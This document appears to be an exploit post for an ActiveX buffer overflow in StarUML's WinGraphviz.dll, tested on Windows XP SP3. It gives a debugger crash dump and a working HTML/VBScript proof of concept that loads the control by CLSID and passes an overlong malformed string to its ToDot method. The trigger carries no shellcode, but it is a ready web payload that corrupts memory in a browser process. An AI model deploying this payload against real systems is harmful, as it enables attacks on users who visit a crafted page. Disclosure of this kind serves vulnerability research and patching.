# Exploit Title: StarUML WinGraphviz.dll ActiveX buffer overflow vulnerability # Date: 03.8.2013 # Exploit Author: d3b4g # Vendor Homepage:http://staruml.sourceforge.net/en/ # Software Link: http://staruml.sourceforge.net/en/ # Tested on: Windows XP SP3 About StarUML -------------- StarUML is an open source project to develop fast, flexible, extensible, featureful, and freely-available UML/MDA platform running on Win32 platform. Exception Code: ACCESS_VIOLATION Disasm: D98439 MOV DL,[EBP] (WinGraphviz.DLL) Seh Chain: -------------------------------------------------- 1 6B47D959 VBSCRIPT.dll 2 772FE115 ntdll.dll Called From Returns To -------------------------------------------------- Registers: -------------------------------------------------- EIP 00D98439 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes EAX 00894119 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes EBX 0020D70A -> 00000038 ECX 00894119 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes EDX 000003FF EDI 000003FE ESI 00000000 EBP 00000000 ESP 0020D618 -> 00000059 The example code below triggers the vulnerability ------------------------------------------------- <object classid='clsid:1F25D86C-95BC-4E33-A177-EE8DABEF8B04' id='target' /> <script language='vbscript'> targetFile = "C:\Program Files\StarUML\WinGraphviz.dll" prototype = "Function ToDot ( ByVal Source As String ) As String" memberName = "ToDot" progid = "WINGRAPHVIZLib.NEATO" argCount = 1 arg1="http://test\test\test\te?s\test\test\tes\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\" target.ToDot arg1 </script>